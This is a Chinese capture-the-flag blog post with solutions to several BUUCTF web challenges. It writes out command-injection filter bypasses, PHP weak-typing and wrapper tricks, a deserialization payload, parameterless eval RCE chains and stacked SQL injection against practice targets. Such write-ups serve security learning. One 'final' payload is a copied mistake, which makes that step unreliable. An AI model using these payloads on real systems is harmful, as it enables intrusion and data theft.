BUUCTF WEB-WP(3)
BUUCTF WEB
- 几道
web做题的记录
[ACTF2020 新生赛]Exec
知识点:exec命令执行
- 这题最早是在一个叫中学生
CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬中学时就开始学技术了,自己当时还在和泥巴( ̄ε(# ̄)☆╰╮o( ̄皿 ̄///)) - 言归正传,这题其实就是一个
exec的命令执行,直接ip & cmd就可以执行多条命令,这里由于什么过滤都没有,所以直接127.0.0.1 & ls /先遍历一下根目录,发现flag,然后直接127.0.0.1 & cat /flag即可

[ACTF2020 新生赛]BackupFile
知识点:PHP弱类型,备份文件
- 首先提示要去找源码,所以尝试找备份文件
/index.php.bak,遂发现源码
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
- 这里要求首先要设置
GET传一个参数key,并且key要是数字,最后判断key == str就返回flag,我们可以发现这里的比较是用的==也就是弱类型比较,它在处理数字和字符串的时候,会先进行类型转化后在比较,也就是说对于一个string会被转成int,而且若这里的string是一个数字字母的组合,且以数字开头的,在转换时会把数字后的字符去除,也就是说这里的str会直接被当成123处理,所以我们只要给key赋值为123即可

##[GXYCTF2019]Ping Ping Ping
知识点:命令执行变量拼接,内联执行
- 这题和第一个类似,都是
exec的多语句执行,不过这题的过滤就有点多了 - 首先还是尝试直接
ip之后加上ls查看,发现有index.php flag.php两个文件 - 在尝试读取
flag时发现其中flag还有空格以及/都被过滤,所以尝试读取index.php发现源码
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
- 这里不仅过滤了那三样,还限制不允许使用
bash,对于这个我们可以尝试使用sh也可以同样进行操作 - 对于空格被过滤,我们可以尝试使用
$IFS$1或者分号代替 - 对于
flag的过滤,我们可以先对其base64编码后在读取,所以最终课构造payload如下
/?ip=127.0.0.1;cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`
- 此外还可以尝试变量拼接读取
/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$1$b$a.php

[ZJCTF 2019]NiZhuanSiWei
知识点: data伪协议,php反序列化,文件包含读取文件内容
- 直接给出了源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 第一层:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),这里要绕过file_get_contents()函数要使text内容是welcome to the zjctf,在前不久的MRCTF的套娃一题中见到过,需要用data://伪协议绕过 - 所以
text=data://text/plain,welcome to the zjctf - 第二层:要使用
file读取文件,但是不能直接读取flag.php,这里他给出了useless.php的提示,所以我们尝试读取他的内容(ps.PHP文件内容无法直接读取,所以我们要使用php://filter伪协议来读取) - 所以
file=php://filter/read=convert.base64-encode/resource=useless.php,读取到源码如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 第三层:
$password = unserialize($password);,设置了一个password,涉及到反序列化,我们看到useless.php中的源码显示会直接读取file中内容,所以直接给file赋值flag.php,即可得到最终flag
<?php
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
- 所以
password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} - 最终
payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[极客大挑战 2019]BuyFlag
知识点:php弱类型,科学记数法
- 发现提示说要是
Cuiter才可以pay,遂查看cookie,发现value为0,尝试改为1,提示要输入密码 - 打开
pay.php页面查看源码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
- 发现
password这里首先要使其不为数字,而后又要其等于404,并且这里的比较是==,显然是弱类型,所以考虑使用字符串绕过,password=404asd - 发现要求设置
money,于是考虑money=100000000,却发现提示长度超出,遂考虑使用科学记数法,money=1e10,获得flag

[GXYCTF2019]禁止套娃
知识点:无参数RCE,git源码泄露
githack下载源码
python GitHack.py http://eb80dbe4-c6d9-47d5-8f5d-7ab84b47173b.node3.buuoj.cn/.git- 源码如下:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
- 设置要
GET一个exp并且要以分号结尾,无法使用一些常用的伪协议读取文件,并且还禁用了一些常用函数 - 我们这里首先还是要尝试遍历一下目录,查看一下
flag文件的位置 - 这里并未禁用
scandir()函数,所以我们要尝试去构造scandir('.')来遍历一下目录,这里参考了一下网上WP,发现可以使用current(localeconv())函数 current()函数作用是返回数组中的当前元素的值,默认返回第一个,而localeconv()函数作用是返回包含本地数字及货币格式信息的数组,第一项就是'.'

- 这样我们就完成第一步,可以查看到目录文件信息
?exp=print_r(scandir(current(localeconv())));

- 发现
flag.php文件,接下我们就要尝试去读取它的文件内容,这里由于flag.php是倒数第二个元素,如何才能读取到倒数第二个呢?我们可以尝试用array_reverse()函数先将数组倒置,这样flag.php就成了第二个元素,然后再使用next()函数指向首个的下一个,就完成指向flag.php了
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

- 最后就是直接用
readfile()函数读取文件内容即可,最终payload如下
?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

- 看网上还有师傅使用
array_filp()先交换键值,然后使用array_rand()随机返回元素,读取flag,学到新姿势,记录一下,payload如下
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));
[GYCTF2020]Blacklist
handler查询,堆叠注入
- 和强网杯的那个随便注类似,首先尝试查看表
1';show tables;#

- 看到字段
FlagHere,尝试读取其内容,这里用到了一个handler代替select查询,详细内容可以看一下这篇文章
https://xz.aliyun.com/t/7169#toc-47 - 大致介绍一下要用到的语句
handler FlagHere open as f;重命名FlagHere数据表为fhandler f read first;读取f的首行字段handler f close;关闭句柄- 所以最终使用堆叠注入构造
payload
1';handler FlagHere open as f;handler f read first;handler f close;#

BUUCTF WEB-WP(3)的更多相关文章
- buuctf misc wp 01
buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...
- buuctf misc wp 02
buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...
- BUUCTF WEB
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网 ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
- BuuCTF Web Writeup
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...
- ISCC的 Web——WP
比赛已经结束了,自己做出来的题也不是很多,跟大家分享一下 第一题:比较数字大小 打开连接 在里面随意输入一个值,他会提示数字太小了 那么我们输入他允许的最大值试试 他还是提示太小了 我们知道做web‘ ...
- 实验吧—Web——WP之 Forms
我们先打开解题链接: 做Web题的第一步就是查看网页源代码,当然,有些网页他不会让你点击右键,那么可以在地址栏里的地址前面加上:view-source: 当然也可以打开控制台F12 我们可以看到代码里 ...
- 到处抄来的SUCTF2019 web wp
0x01 EasySQL 这是一个考察堆叠注入的题目,但是这道题因为作者的过滤不够完全所以存在非预期解 非预期解 直接构造 *,1 这样构造,最后拼接的查询语句就变成了 select *,1||fla ...
- buuctf—web—高明的黑客
打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re imp ...
- buuctf—web—Easy Calc
启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery, ("# ...
随机推荐
- 基于tp3开发的cms-前台代码执行
内核 thinkphp PbootCMS-V1.2.1 ├─ apps 应用程序 │ ├─ admin 后台模块 │ ├─ api api模块 │ ├ ...
- 面向开发者的Docker实践
show me the code and talk to me,做的出来更要说的明白 本文源码,请点击learnSpringboot 我是布尔bl,你的支持是我分享的动力! 一. 引入 有开发经验的都 ...
- C++中的隐式转换和explicit
隐式转换 c++中的数据类型转换分为隐式转换和显示转换: 显示转换即使用static_cast等方法进行转换,相关内容请参考 <C++数据类型转换>: 隐式转换则是编译器完成的,如,boo ...
- redis 集群安装
redis集群安装 1.下载redis源码 2.解压并进入解压后的文件夹redis内 3.make,生成一系列的文件(mkreleasehdr.sh, redis-benchmark, redis-c ...
- .NET IoC模式依赖反转(DIP)、控制反转(Ioc)、依赖注入(DI)
依赖倒置原则(DIP) 依赖倒置(Dependency Inversion Principle,缩写DIP)是面向对象六大基本原则之一.他是指一种特定的的解耦形式,使得高层次的模块不依赖低层次的模块的 ...
- 移动端纯css超出盒子出现横向滚动条
<!doctype html> <html> <head> <meta charset="utf-8"> <meta name ...
- chmod的用法
指令名称 : chmod 使用权限 : 所有使用者 使用方式 : chmod [-cfvR] [--help] [--version] mode file... 说明 : Linux/Unix 的档案 ...
- 2018-06-26 jq选择器
0.选择器的目的就是为了方便快速找到元素从而操作元素! 1.基本选择器 * -> 所有标签 #id ->id选择器 .class -> 类选择器 h1,h2 -> 组合选择器 ...
- unittest详解 跳过用例的执行(skip)
在执行测试用例时,有时候有些用例是不需要执行的,那我们怎么办呢?难道删除这些用例?那下次执行时如果又需要执行这些用例时,又把它补回来?这样操作就太麻烦了. unittest提供了一些跳过指定用例的方法 ...
- MySQL数据库回表与索引
目录 回表的概念 1.stu_info表案例 2.查看刚刚建立的表结构 3.插入测试数据 4.分析过程 5.执行计划 回表的概念 先得出结论,根据下面的实验.如果我要获得['liu','25']这条记 ...